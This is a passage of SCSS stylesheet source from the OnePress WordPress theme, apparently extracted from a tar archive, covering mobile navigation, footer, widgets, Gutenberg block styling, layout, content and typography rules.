margin-left: 15px;
}
@include for(screens-large) {
.main-navigation {
position: static;
}
.main-navigation .onepress-menu {
width: 100% !important;
display: block;
height: 0px;
overflow: hidden;
background: #fff;
}
.onepress-menu.onepress-menu-mobile {
position: absolute;
top: 75px;
right: 0;
width: 100%;
//background: transparent;
z-index: 800;
overflow: auto !important;
border-top: 1px solid $border;
border-bottom: 1px solid $border;
> li > a {
padding: 12px 20px;
}
li:hover ul {
display: none;
}
ul {
box-shadow: none;
padding-bottom: 0;
border: none;
position: relative;
li:last-child {
border-bottom: none;
}
li a {
padding: 12px 35px;
border-top: none;
&:hover {
background: transparent;
}
}
li li a {
padding: 12px 70px;
border-top: none;
}
li li li a {
padding: 12px 105px;
}
ul {
left: 0px;
}
}
> li > a {
//padding-left: 20px;
}
li {
line-height: 20px;
background: #ffffff;
border-top: 1px solid $border;
width: 100% !important;
}
> li {
&:first-child {
border-top: 0px none;
}
}
// li.current-menu-item {
// > a {
// color: $primary;
// background: #FFFFFF;
// }
// }
li.onepress-current-item {
> a {
color: $primary;
}
}
a {
color: $text;
&:hover {
color: #000000;
}
}
.nav-toggle-subarrow {
display: block;
color: #999999;
border-left: 1px solid $border;
font-weight: normal;
position: absolute;
top: 0;
right: 0;
cursor: pointer;
text-align: center;
padding: 11px 20px;
z-index: 10;
font-size: 22px;
}
.nav-toggle-dropdown > .nav-toggle-subarrow .fa-angle-down:before {
content: "\f106" !important;
}
.nav-toggle-dropdown > ul {
display: block !important;
}
}
#nav-toggle {
display: block;
}
}
// Mobile Navigation Toggle
#nav-toggle {
float: right;
position: relative;
width: 35px;
overflow: hidden;
white-space: nowrap;
color: transparent;
span {
position: absolute;
top: 50%;
right: 5px;
margin-top: -2px;
-webkit-transition: rotate 0.2s, translate 0.2s;
-moz-transition: rotate 0.2s, translate 0.2s;
transition: rotate 0.2s, translate 0.2s;
display: inline-block;
height: 3px;
width: 24px;
background: #000000;
&:before {
top: -8px;
}
&:after {
top: 8px;
}
&:before,
&:after {
position: absolute;
display: inline-block;
height: 3px;
width: 24px;
background: #000000;
content: "";
right: 0;
-webkit-transform: translateZ(0);
-moz-transform: translateZ(0);
-ms-transform: translateZ(0);
-o-transform: translateZ(0);
transform: translateZ(0);
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
-webkit-transform-origin: 0% 50%;
-moz-transform-origin: 0% 50%;
-ms-transform-origin: 0% 50%;
-o-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-transition: -webkit-transform 0.2s;
-moz-transition: -moz-transform 0.2s;
transition: transform 0.2s;
}
}
}
#nav-toggle.nav-is-visible span {
background: transparent;
&:before {
-webkit-transform: translateX(4px) translateY(-1px) rotate(45deg);
-moz-transform: translateX(4px) translateY(-1px) rotate(45deg);
-ms-transform: translateX(4px) translateY(-1px) rotate(45deg);
-o-transform: translateX(4px) translateY(-1px) rotate(45deg);
transform: translateX(4px) translateY(-1px) rotate(45deg);
}
&:after {
-webkit-transform: translateX(4px) translateY(0px) rotate(-45deg);
-moz-transform: translateX(4px) translateY(0px) rotate(-45deg);
-ms-transform: translateX(4px) translateY(0px) rotate(-45deg);
-o-transform: translateX(4px) translateY(0px) rotate(-45deg);
transform: translateX(4px) translateY(0px) rotate(-45deg);
}
&:before,
&:after {
background: #000000;
}
}
/* Content
------------------------------*/
.site-content {
border-top: 1px solid $border;
margin-top: -1px;
//padding-top: 74px;
}
.site-content.no-border {
border-top: none;
}
.blog .site-content,
.tax-portfolio_cat .site-content,
.single-post .site-content,
.hiding-page-title .site-content {
margin-top: 0;
}
.page-header {
padding: 30px 0px;
border-top: 1px solid $border;
background: #f8f9f9;
border-bottom: 1px solid $border;
position: relative;
&:before {
position: absolute;
top: 0px;
bottom: 0;
left: 0;
width: 100%;
display: block;
content: " ";
}
.entry-title,
.page-title {
margin-bottom: 0px;
font-size: 24px;
font-weight: 600;
letter-spacing: 1px;
text-transform: uppercase;
}
p {
margin: 6px 0px 0px 0px;
}
&.page--cover {
position: relative;
padding: 8% 0px;
text-align: center;
border-top: 0 none;
border-bottom: 0 none;
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;
background-position: center center;
background-repeat: no-repeat;
&:before {
position: absolute;
top: 0px;
bottom: 0;
left: 0;
width: 100%;
display: block;
background: rgba(0, 0, 0, 0.3);
content: " ";
}
.entry-title {
font-size: 2.5rem;
font-weight: 800;
color: #ffffff;
}
.entry-tagline {
color: #ffffff;
font-style: italic;
font-weight: 300;
@include for(large-screens) {
font-size: 20px;
}
@include for(screens-medium) {
font-size: 18px;
}
@include for(screens-small) {
font-size: 16px;
}
}
&.is-t-above {
.container {
margin-top: 30px;
}
}
}
}
/* Footer
------------------------------*/
.site-footer {
background: #111111;
color: #bbbbbb;
font-size: 14px;
a {
color: $primary;
&:hover {
}
}
.footer-connect {
padding: 90px 0px;
@include rem("padding", 80px 0px);
text-align: center;
@include for(screens-medium) {
//@include rem('padding', 40px 0px);
}
@include media-breakpoint-down(sm) {
.footer-subscribe {
margin-bottom: 40px;
}
}
.follow-heading {
color: #ffffff;
margin-bottom: 20px;
letter-spacing: 0.8px;
}
.subs_input {
background-color: rgba(255, 255, 255, 0.145);
color: #cccccc;
border-bottom: none;
box-shadow: none;
padding: 12px 15px 12px;
border-radius: 2px;
width: 60%;
font-size: 13px;
&:focus {
border: none;
}
@include for(screens-large) {
width: 100%;
margin-bottom: 4px;
}
@include for(screens-medium) {
width: 70%;
margin-bottom: 4px;
}
@include for(screens-small) {
width: 100%;
margin-bottom: 4px;
}
}
.subs-button {
margin: 0px;
position: relative;
top: 0px;
padding: 16px 23px 16px;
@include for(screens-large) {
width: 100%;
}
@include for(screens-medium) {
width: 70%;
}
@include for(screens-small) {
width: 100%;
}
}
input[type="text"]:focus {
border: none !important;
}
}
.footer-social {
text-align: center;
a {
font-size: 30px;
margin: 0px 13px;
color: #ffffff;
&:hover {
color: $primary;
}
}
}
.site-info {
position: relative;
text-align: center;
padding: 35px 0px;
background: #222222;
font-weight: 500;
color: #bbbbbb;
a {
color: #dddddd;
&:hover {
text-decoration: underline;
}
}
.container {
position: initial;
}
}
.btt a {
border-radius: 0px 20px 0 0;
color: #999999;
background: #222222;
display: block;
font-size: 30px;
height: 50px;
line-height: 50px;
margin: auto;
position: absolute;
right: 60px;
top: -25px;
transition: all 0.2s linear 0s;
width: 50px;
z-index: 99;
-webkit-transform: rotate(-45deg);
-moz-transform: rotate(-45deg);
-ms-transform: rotate(-45deg);
-o-transform: rotate(-45deg);
&:hover {
color: $primary;
}
i {
-webkit-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-ms-transform: rotate(45deg);
-o-transform: rotate(45deg);
margin-left: 3px;
}
@include for(screens-medium) {
right: 0;
left: 0;
}
}
}
editor.scss 0000666 00000000123 15112302747 0006731 0 ustar 00
@import "variables";
@import "document";
@import "contents";
@import "gutenberg"; _widgets.scss 0000666 00000003456 15112302747 0007264 0 ustar 00 // main: style.scss
.sidebar .widget {
margin-bottom: 40px;
.widget-title {
font-size: 15px;
text-transform: uppercase;
letter-spacing: 2px;
margin-bottom: 13px;
font-weight: 700;
}
ul {
list-style: none;
padding: 0px;
&:after {
clear: both;
content: ".";
display: block;
height: 0;
visibility: hidden;
}
}
a {
color: $text;
font-size: 14px;
&:hover {
color: $primary;
text-decoration: underline;
}
}
}
/* Search
------------------------------*/
.search-form{
display: flex;
width: 100%;
align-items: center;
.search-field {
width: 100% !important;
@include rem('padding', 10px 15px);
}
.search-submit {
width: auto;
margin: 0px 0 0 0.5em;
height: 100%;
}
label {
flex-grow: 2;
margin: 0px;
}
}
/* Recent Comment
------------------------------*/
.widget_recent_comments {
ul {
margin-top: 25px;
li {
margin-bottom: 20px;
padding-bottom: 20px;
border-bottom: 1px solid $border;
}
a {
font-style: italic;
}
}
.comment-author-link a {
font-weight: bold;
font-style: normal;
}
}
/* Recent Categories, Archive, Meta
------------------------------*/
.widget-area .widget_categories ul,
.widget-area .widget_archive ul,
.widget-area .widget_meta ul{
@extend .clearfix !optional;
}
.widget-area .widget_categories li, .widget-area .widget_archive li, .widget-area .widget_meta li {
float: left;
margin-bottom: 0;
width: 50%;
@include for(small-screens) {
width: 50%;
}
@include for(medium-screens) {
width: 100%;
float: none;
}
@include for(large-screens) {
width: 50%;
float: left;
}
}
.widget_recent_entries {
ul li {
margin: 0px;
padding: 10px 0px 10px 0px;
border-bottom: 1px solid $border;
}
}
.sidebar .widget_calendar a {
color: #03c4eb;
text-decoration: underline;
} _gutenberg.scss 0000666 00000010263 15112302747 0007572 0 ustar 00 .single-post .content-inner {
margin-left: auto;
margin-right: auto;
}
.entry-content > * {
margin-left: auto;
margin-right: auto;
max-width: 100%;
}
// Layout no sidebar.
.no-sidebar {
.entry-content > .alignwide {
max-width: 100vw;
max-width: calc(var(--vw, 1vw) * 100);
width: 1110px;
transform: translateX(-50%);
left: 50%;
position: relative;
}
.entry-content > .alignfull {
margin: 1.5em 0;
max-width: 100vw;
max-width: calc(var(--vw, 1vw) * 100);
width: 100vw;
/* Use vh as a fallback for browsers that do not support Custom Properties */
width: calc(var(--vw, 1vw) * 100);
transform: translateX(-50%);
left: 50%;
position: relative;
}
}
// Right sidebar(s)
.single-post .right-sidebar .content-inner {
margin-left: 0px;
}
// Left sidebar(s)
.single-post .left-sidebar .content-inner {
margin-right: 0px;
}
.entry-content ul,
.entry-content ol {
margin: 1.5em auto;
list-style-position: outside;
}
// Video block
.wp-block-video video {
max-width: 100%;
}
.wp-block-embed {
&.is-type-video {
.wp-block-embed__wrapper {
width: 100%;
position: relative;
&::before {
padding-top: 56.25%;
content: "";
display: block;
}
padding: 0 0 0 0; // 16:9 ratio
height: auto;
display: block;
> iframe, > object {
position: absolute;
width: 100%;
height: 100%;
top: 0;
left: 0;
bottom: 0;
right: 0;
}
}
}
}
.wp-block-image img {
display: block;
}
.wp-block-image.alignleft,
.wp-block-image.alignright {
width: 100%;
}
.wp-block-image.alignfull img {
width: 100vw;
width: calc(var(--vw, 1vw) * 100);
}
.wp-block-gallery:not(.components-placeholder) {
margin: 1.5em auto;
}
.wp-block-cover-text p {
padding: 1.5em 14px;
}
ul.wp-block-latest-posts.alignwide,
ul.wp-block-latest-posts.alignfull,
ul.wp-block-latest-posts.is-grid.alignwide,
ul.wp-block-latest-posts.is-grid.alignwide {
padding: 0 14px;
}
.wp-block-table {
display: block;
overflow-x: auto;
}
.wp-block-table table {
border-collapse: collapse;
width: 100%;
}
.wp-block-table td,
.wp-block-table th {
padding: 0.5em;
}
.entry-content li {
margin-left: 2.5em;
margin-bottom: 6px;
}
.entry-content ul ul,
.entry-content ol ol,
.entry-content ul ol,
.entry-content ol ul {
margin: 0 auto;
}
.entry-content ul ul li,
.entry-content ol ol li,
.entry-content ul ol li,
.entry-content ol ul li {
margin-left: 0;
}
.wp-block-quote {
&.is-style-large {
cite {
font-size: 13px;
}
padding: 0px;
}
border-left-width: 4px;
border-left-color: currentColor;
> * {
margin-left: 16px;
margin-right: 16px;
}
cite {
font-style: normal;
margin-top: 1em;
margin-left: 0px;
position: relative;
font-size: 13px;
display: block;
margin-bottom: 0px;
}
}
.wp-block-pullquote {
border-bottom: 4px solid currentColor;
border-top: 4px solid currentColor;
margin-top: 1.5em;
margin-bottom: 1.5em;
&.is-style-solid-color {
border-bottom: 0 none;
border-top: 0 none;
}
padding: 3em 0;
text-align: center;
> p:first-child {
margin-top: 0;
}
cite {
font-size: 13px;
font-style: normal;
text-transform: uppercase;
}
blockquote {
border-left: 0px;
background: none;
}
}
.wp-block-separator {
margin: 3em auto;
border: none;
border-bottom: 2px solid currentColor;
&:not(.is-style-wide) {
max-width: 100px;
}
&.is-style-dots {
border-bottom: none !important;
text-align: center;
&::before {
padding-left: 0px;
font-size: 30px;
}
}
}
@media screen and (min-width: 768px) {
.wp-block-cover-text p {
padding: 1.5em 0;
}
.entry-content > * {
padding-left: 0px;
padding-right: 0px;
}
}
/*--------------------------------------------------------------
# Block Color Palette Colors
--------------------------------------------------------------*/
.has-strong-blue-color {
color: #0073aa;
}
.has-strong-blue-background-color {
background-color: #0073aa;
}
.has-lighter-blue-color {
color: #229fd8;
}
.has-lighter-blue-background-color {
background-color: #229fd8;
}
.has-very-light-gray-color {
color: #eee;
}
.has-very-light-gray-background-color {
background-color: #eee;
}
.has-very-dark-gray-color {
color: #444;
}
.has-very-dark-gray-background-color {
background-color: #444;
}
_layout.scss 0000666 00000003754 15112302747 0007134 0 ustar 00 // main: style.scss
#primary {
padding-bottom: $base * 2;
padding-top: $base * 2;
}
.template-fullwidth-stretched,
.siteorigin-panels {
#primary {
padding: 0;
}
.entry-content {
margin-bottom: 0px;
}
}
#secondary {
padding-bottom: $base * 2;
padding-top: 0;
@include for(medium-screens) {
padding-top: $base * 2;
}
}
.content-area {
width: 100%;
float: none;
@include for(medium-screens) {
float: left;
}
}
.sidebar {
width: 100%;
float: none;
@include for(medium-screens) {
width: percentage(280px / $grid); // 300px
float: left;
}
}
.left-sidebar .site-main {
margin-left: auto;
}
.no-sidebar .content-area {
width: 100%;
}
.single-post .no-sidebar .site-main,
.single-post .no-sidebar .entry-content > * {
margin-left: auto;
margin-right: auto;
}
@include for(medium-screens) {
.left-sidebar .content-area {
float: right;
padding-left: 39px;
border-left: 1px solid $border;
margin-right: 1px;
width: percentage(830px / $grid); //680px
}
.left-sidebar .sidebar {
padding-right: 39px;
border-right: 1px solid $border;
margin-right: -1px;
}
.right-sidebar .content-area {
padding-right: 39px;
border-right: 1px solid $border;
width: percentage(830px / $grid); //680px
}
.right-sidebar .sidebar {
padding-left: 39px;
border-left: 1px solid $border;
margin-left: -1px;
}
}
/**
Footer widgets
*/
.footer-widgets {
background: #050505;
&.section-padding {
@include rem("padding", 70px 0px 35px);
}
table {
border-collapse: collapse;
> thead > tr > th,
> thead > tr > td {
border-width: 1px;
}
th,
td {
border-color: rgba(233, 233, 233, 0.4);
}
}
.widget-title {
color: #ffffff;
}
.widget-area .widget_categories li,
.widget-area .widget_archive li,
.widget-area .widget_meta li {
width: 100% !important;
float: none;
}
.widget_recent_entries ul li,
.widget_recent_comments ul li {
border-bottom: 0px none;
padding: 5px 0px;
margin-bottom: 0px;
}
.sidebar {
.widget {
margin-bottom: 30px;
}
}
}
_contents.scss 0000666 00000015427 15112302747 0007454 0 ustar 00 // main: style.scss
/* Page: 404
------------------------------*/
.error-404 {
.search-form, .widget {
margin-bottom: 40px;
}
.widgettitle, .widget-title {
font-size: 15px;
text-transform: uppercase;
letter-spacing: 2px;
margin-bottom: 13px;
font-weight: 700;
}
ul {
padding-left: 0px;
li {
list-style: none;
}
}
}
/* Page: Search
------------------------------*/
.search-results {
.hentry {
border-bottom: 1px solid $border;
padding-bottom: 25px;
margin-bottom: 25px;
}
.entry-summary p {
margin-bottom: 0px;
}
.entry-header .entry-title {
font-size: 22px;
line-height: 1.5;
font-weight: 500;
a:hover{
text-decoration: none;
}
}
}
/* Entry Header
------------------------------*/
.entry-header .entry-title {
font-weight: 500;
text-transform: none;
letter-spacing: -0.6px;
font-family: $font_text;
font-size: 25px;
line-height: 1.3;
@include for(medium-screens) {
font-size: 32px;
line-height: 1.5;
}
}
.entry-thumbnail {
margin-bottom: 30px;
}
.single .entry-header .entry-title {
margin-bottom: 10px;
}
.highlight {
color: $primary;
}
/* Entry Content
------------------------------*/
.entry-content {
margin-bottom: 30px;
blockquote {
padding: 30px;
position: relative;
background: $meta;
border-left: 3px solid $primary;
font-style: italic;
p {
margin: 0px;
}
}
}
/* Entry Stuff
------------------------------*/
.entry-meta {
margin-bottom: 30px;
text-transform: uppercase;
letter-spacing: 1.5px;
font-size: 12px;
font-weight: 600;
padding-bottom: 30px;
border-bottom: 1px solid $border;
}
.entry-footer {
margin-bottom: 30px;
padding-top: 30px;
border-top: 1px solid $border;
.cat-links, .tags-links {
display: block;
text-transform: uppercase;
letter-spacing: 1.5px;
font-size: 12px;
font-weight: 600;
margin-top: 5px;
}
}
.nav-links {
padding: 30px 0px;
border-left: none;
border-right: none;
margin-bottom: 50px;
flex-basis: 100%;
text-align: center;
@extend .clearfix !optional;;
.nav-previous {
float: left;
}
.nav-next {
float: right;
}
a, .page-numbers {
background: #cccccc;
color: #FFFFFF;
padding: 12px 20px;
@include for( screens-medium ){
padding: 6px 10px;
}
font-weight: 600;
font-size: 12px;
letter-spacing: 1px;
text-transform: uppercase;
border-radius: 2px;
&:hover, &.current {
background: $primary;
text-decoration: none;
}
}
}
.bypostauthor {
margin: 0;
}
/* Sticky Post
------------------------------*/
.sticky .entry-title {
padding-left: 20px;
position: relative;
&:after {
content: "\f276";
display: inline-block;
font-family: "FontAwesome";
font-style: normal;
font-weight: normal;
width: 12px;
height: 12px;
position: absolute;
left: 0px;
top: 2px;
font-size: 22px;
color: #aaaaaa;
}
}
/* WordPress caption style
------------------------------*/
.wp-caption {
max-width: 100%;
font-style: italic;
line-height: 1.35;
margin-bottom: 15px;
margin-top: 5px;
img[class*="wp-image-"] {
display: block;
max-width: 100%;
}
.wp-caption-text {
margin: 10px 0px;
}
}
.wp-caption-text,
.entry-thumbnail-caption,
.cycle-caption {
font-style: italic;
line-height: 1.35;
font-size: 13px;
}
/* WordPress Gallery
------------------------------*/
.gallery {
margin-bottom: 1.5em;
}
.gallery-item {
display: inline-block;
text-align: center;
vertical-align: top;
width: 100%;
.gallery-columns-2 & {
max-width: 50%;
}
.gallery-columns-3 & {
max-width: 33.33%;
}
.gallery-columns-4 & {
max-width: 25%;
}
.gallery-columns-5 & {
max-width: 20%;
}
.gallery-columns-6 & {
max-width: 16.66%;
}
.gallery-columns-7 & {
max-width: 14.28%;
}
.gallery-columns-8 & {
max-width: 12.5%;
}
.gallery-columns-9 & {
max-width: 11.11%;
}
}
.gallery-caption {
display: block;
}
/* Comments
------------------------------*/
#comments {
padding-top: 30px;
border-top: 1px solid $border;
.comments-title {
margin-bottom: $base;
font-size: 18px;
line-height: 26px;
letter-spacing: 1.5px;
text-transform: uppercase;
}
.comment-list {
list-style: none;
padding-left: 0px;
.pingback {
border-bottom: 1px solid $border;
padding: $base 0;
margin: 0;
p { margin : 0px;}
}
.pingback:last-child {
margin-bottom: $base*2;
}
}
.comment-content.entry-content {
margin-bottom: 0px;
}
.comment {
list-style: none;
margin: $gutter2 0;
.avatar {
width: 60px;
float: left;
@include border-radius( 3px );
}
.comment-wrapper {
margin-left: $gutter2*3 ;
padding: ($gutter2 - 5) $gutter2 $gutter2/2 $gutter2;
background: #f8f9f9;
position: relative;
&:before {
border-color: rgba(0, 0, 0, 0) #f6f7f9 rgba(0, 0, 0, 0) rgba(0, 0, 0, 0);
border-style: solid;
border-width: 0 10px 10px 0;
content: "";
height: 0;
left: -9px;
position: absolute;
top: 0;
width: 0;
}
.comment-meta .comment-time, .comment-meta .comment-reply-link, .comment-meta .comment-edit-link {
color: #aaaaaa;
text-transform: uppercase;
letter-spacing: 0.3px;
font-size: 11px ;
&:hover {
color: $primary;
}
&:after {
content: "/";
padding: 0px 5px;
}
}
.comment-meta a:last-child {
&:after {
content: "";
}
}
.comment-meta cite .fn {
font-weight: bold;
font-style: normal;
margin-right: 5px ;
text-transform: uppercase;
letter-spacing: 1.5px;
font-size: 14px;
}
.comment-meta cite span {
padding: 3px 10px;
background: $border;
@include border-radius(4px);
margin-right: 10px;
}
a {
text-decoration: none;
}
}
.children {
padding-left: $gutter2*1;
.children {
padding-left: $gutter2*1;
.children {
padding-left: 0px;
}
}
}
@include for(medium-screens) {
.children {
padding-left: $gutter2*3;
.children {
padding-left: $gutter2*3;
.children {
padding-left: $gutter2*3;
}
}
}
}
}
.form-allowed-tags {
display: none;
}
a {
text-decoration: none;
&:hover {
text-decoration: underline;
}
}
}
.comment-respond textarea,
.comment-respond textarea {
width: 100%;
}
/* Comment Form
------------------------------*/
#respond {
padding-top: $base;
.comment-form label {
display: block;
margin-bottom: 4px;
}
.form-allowed-tags {
font-size: 12px;
code {
background: none;
}
}
.comment-reply-title {
font-size: 18px;
letter-spacing: 1.5px;
margin-bottom: 20px;
text-transform: uppercase;
}
.comment-notes {
display: none;
}
label {
font-size: 13px;
text-transform: uppercase;
letter-spacing: 1.5px;
}
}
.full-screen .comments-area {
max-width: $grid;
margin: 0 auto;
}
/* woocommerce
------------------------------*/
.woocommerce div.product form.cart .variations td.label {
color: #777;
}
style.scss 0000666 00000006344 15112302747 0006616 0 ustar 00 /*
Theme Name: OnePress
Theme URI: https://www.famethemes.com/themes/onepress/
Author: FameThemes
Author URI: http://www.famethemes.com
Description: OnePress is an outstanding creative and flexible WordPress one page theme well suited for business website, portfolio, digital agency, product showcase, freelancers and everyone else who appreciate good design. The theme overall is an elegant and classic one, a fine example of Bootstrap 4 WordPress theme which compatibility with latest version of WooCommerce. (Live preview : https://demos.famethemes.com/onepress)
Version: 2.2.4
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Text Domain: onepress
Tags: one-column, two-columns, left-sidebar, right-sidebar, custom-menu, featured-images, full-width-template, sticky-post, theme-options, threaded-comments, translation-ready, e-commerce, blog, portfolio
This theme, like WordPress, is licensed under the GPL.
Use it to make something cool, have fun, and share what you've learned with others.
OnePress is based on Underscores http://underscores.me/, (C) 2012-2015 Automattic, Inc.
Underscores is distributed under the terms of the GNU GPL v2 or later.
Normalizing styles have been helped along thanks to the fine work of
Nicolas Gallagher and Jonathan Neal http://necolas.github.com/normalize.css/
*/
/*--------------------------------------------------------------
>>> TABLE OF CONTENTS:
----------------------------------------------------------------
1.0 Reset
2.0 Document
3.0 Layout
4.0 Structure
5.0 Contents
6.0 Elements
7.0 Widgets
8.0 Sections
9.0 External Plugins
--------------------------------------------------------------*/
@import "variables";
/*--------------------------------------------------------------
1.0 Reset
--------------------------------------------------------------*/
// @import "reset";
/* Reset already include in bootstrap */
/*--------------------------------------------------------------
2.0 Document Setup
--------------------------------------------------------------*/
@import "document";
/*--------------------------------------------------------------
3.0 Layout
--------------------------------------------------------------*/
@import "layout";
/*--------------------------------------------------------------
4.0 Structure
--------------------------------------------------------------*/
@import "structure";
/*--------------------------------------------------------------
5.0 Contents
--------------------------------------------------------------*/
@import "contents";
/*--------------------------------------------------------------
6.0 Elements
--------------------------------------------------------------*/
@import "elements";
/*--------------------------------------------------------------
7.0 Widgets
--------------------------------------------------------------*/
@import "widgets";
/*--------------------------------------------------------------
8.0 Sections
--------------------------------------------------------------*/
@import "sections";
/*--------------------------------------------------------------
9.0 External Plugins
--------------------------------------------------------------*/
@import "external_plugins";
@import "bully";
@import "gutenberg";
_document.scss 0000666 00000022023 15112302747 0007423 0 ustar 00 // main: style.scss
/*------------------------------
2.1 Typography
------------------------------*/
html, body {
margin: 0;
padding: 0;
height: 100%;
}
html {
box-sizing: border-box;
-webkit-tap-highlight-color: rgba(0,0,0,0);
font-size: 16px;
@include media-breakpoint-down(md) {
font-size: 15px;
}
@include media-breakpoint-down(sm) {
font-size: 14px;
}
}
body {
background: #ffffff;
height: 100%;
}
.site {
background: #FFFFFF;
position: relative;
}
body, button, input, select, textarea {
font-family: $font_text;
@include rem('font-size', 14px);
line-height: 1.7;
color: $text;
}
pre,
code,
input,
textarea {
font: inherit;
}
::-moz-selection {
background: #000000;
color: #FFFFFF;
}
::selection {
background: #000000;
color: #FFFFFF;
}
/*------------------------------
2.2 Links
------------------------------*/
a {
color: $primary;
text-decoration: none;
outline: none;
&:hover{
text-decoration: none;
color: $text;
text-decoration: underline;
}
&:active, &:focus, &:hover {
outline: none;
}
}
/*------------------------------
2.3 Heading
------------------------------*/
h1,
h2,
h3,
h4,
h5,
h6 {
clear: both;
font-family: $font_heading;
font-weight: 600;
margin-bottom: 15px;
@include rem('margin-bottom', 15px);
margin-top: 0;
@extend .break;
color: #333333;
& a {
color: #333333;
text-decoration: none;
}
}
h1 {
line-height: 1.3;
@include rem('font-size', 33px);
@include media-breakpoint-up(md) {
@include rem('font-size', 40px);
}
span {
font-weight: bold;
}
}
h2 {
line-height: 1.2;
@include rem('font-size', 25px);
@include media-breakpoint-up(md) {
@include rem('font-size', 32px);
}
}
h3 {
@include rem('font-size', 20px);
font-weight: 600;
}
h4 {
@include rem('font-size', 17px);
margin-bottom: 12px;
}
h5 {
text-transform: uppercase;
@include rem('font-size', 15px);
font-weight: 700;
}
h6 {
font-weight: 700;
text-transform: uppercase;
@include rem('font-size', 12px);
letter-spacing: 1px;
}
/*------------------------------
2.4 Base
------------------------------*/
ul,ol,dl,p,details,address,.vcard,figure,pre,fieldset,table,dt,dd,hr {
@include rem('margin-bottom', 15px);
margin-top: 0;
}
p,ul,ol,dl,blockquote {
@extend .break;
}
/*------------------------------
2.5 Content
------------------------------*/
img {
height: auto;
max-width: 100%;
vertical-align: middle;
}
b,
strong {
font-weight: bold;
}
blockquote {
clear: both;
margin: $base 0;
p {
font-style: italic;
}
cite {
font-style: normal;
margin-bottom: $base;
font-size: 13px;
}
}
dfn,
cite,
em,
i {
font-style: italic;
}
figure {
margin: 0;
}
address {
margin: $base 0;
}
hr {
border: 0;
border-top: 1px solid $border;
height: 1px;
margin-bottom: $base;
}
tt,
kbd,
pre,
code,
samp,
var {
font-family: $monaco;
background-color: $border;
padding: 5px 7px;
@include border-radius;
}
pre {
overflow: auto;
white-space: pre-wrap;
max-width: 100%;
line-height: 1.7;
margin: $base 0;
padding: $base;
@extend .break;
}
details {
summary {
font-weight: bold;
margin-bottom: $base;
}
:focus {
outline: none;
}
}
abbr,
acronym,
dfn {
cursor: help;
font-size: .95em;
text-transform: uppercase;
border-bottom: 1px dotted $border;
letter-spacing: 1px;
}
mark {
background-color: #fff9c0;
text-decoration: none;
}
small {
font-size: 82%;
}
big {
font-size: 125%;
}
ul, ol {
padding-left: 20px;
}
ul {
list-style: disc;
}
ol {
list-style: decimal;
}
ul li, ol li {
margin: $base/2.5 0;
}
dt {
font-weight: bold;
}
dd {
margin: 0 $base $base;
}
/*------------------------------
2.6 Table
------------------------------*/
table {
width: 100%;
margin-bottom: $base;
border: 1px solid $border;;
border-collapse: collapse;
border-spacing: 0;
}
table > thead > tr > th,
table > tbody > tr > th,
table > tfoot > tr > th,
table > thead > tr > td,
table > tbody > tr > td,
table > tfoot > tr > td {
border: 1px solid $border;
line-height: 1.42857;
padding: 5px;
vertical-align: middle;
//text-align: center;
}
table > thead > tr > th, table > thead > tr > td {
border-bottom-width: 2px;
}
table th {
font-size: 14px;
letter-spacing: 2px;
text-transform: uppercase;
}
/*------------------------------
2.7 Form
------------------------------*/
fieldset{
padding: $base;
border: 1px solid $border;
}
input[type="reset"],input[type="submit"],input[type="submit"],
/* 3rd plugins support */
.pirate-forms-submit-button, .contact-form div.wpforms-container-full .wpforms-form .wpforms-submit {
cursor: pointer;
background: $primary;
border: none;
display: inline-block;
color: #FFFFFF;
letter-spacing: 1px;
text-transform: uppercase;
line-height: 1;
text-align: center;
padding: 15px 23px 15px 23px;
@include border-radius(2px);
box-shadow: 0 -1px 0 0 rgba(0, 0, 0, 0.1) inset;
margin: 3px 0;
text-decoration: none;
font-weight: 600;
font-size: 13px;
&:hover {
opacity: 0.8;
background: $primary;
border: none;
}
}
input[type="button"]:hover, input[type="button"]:focus,input[type="reset"]:hover,
input[type="reset"]:focus,input[type="submit"]:hover,input[type="submit"]:focus,
button:hover,button:focus {
cursor:pointer;
}
textarea {
resize: vertical;
}
select {
max-width: 100%;
overflow: auto;
vertical-align: top;
outline: none;
border: 1px solid $border;
padding: $base/2;
}
textarea:not(.editor-post-title__input),
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="email"],
input[type="month"],
input[type="number"],
input[type="password"],
input[type="search"],
input[type="tel"],
input[type="text"],
input[type="time"],
input[type="url"],
input[type="week"] {
padding: 10px;
max-width: 100%;
border: 0px;
font-size: 15px;
font-weight: normal;
line-height: 22px;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
transition: all 0.2s linear;
-moz-transition: all 0.2s linear;
-webkit-transition: all 0.2s linear;
-o-transition: all 0.2s linear;
background-color: #f2f2f2;
border-bottom: 1px solid #fff;
box-sizing: border-box;
color: #000000;
&:focus {
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
-o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
transition: all 0.2s linear;
-moz-transition: all 0.2s linear;
-webkit-transition: all 0.2s linear;
-o-transition: all 0.2s linear;
border-color: #EBEBEB;
border-bottom: 1px solid #fff !important;
background: #e9e9e9;
}
}
button::-moz-focus-inner {
border: 0;
padding: 0;
}
input[type="radio"],input[type="checkbox"] {
margin: 0 $base/2;
}
/*------------------------------
2.8 Accessibility
------------------------------*/
/* Text meant only for screen readers */
.screen-reader-text {
clip: rect(1px, 1px, 1px, 1px);
position: absolute !important;
}
.screen-reader-text:hover,
.screen-reader-text:active,
.screen-reader-text:focus {
background-color: $meta;
@include border-radius( 3px );
clip: auto !important;
color: $primary;
display: block;
height: auto;
left: 5px;
line-height: normal;
padding: 17px;
text-decoration: none;
top: 5px;
width: auto;
z-index: 100000; /* Above WP toolbar */
}
/*------------------------------
2.8 Accessibility
------------------------------*/
/*------------------------------
2.9 Alignments
------------------------------*/
.alignleft {
display: inline;
float: left;
margin-right: 3.5em;
}
.alignright {
display: inline;
float: right;
margin-left: 3.5em;
}
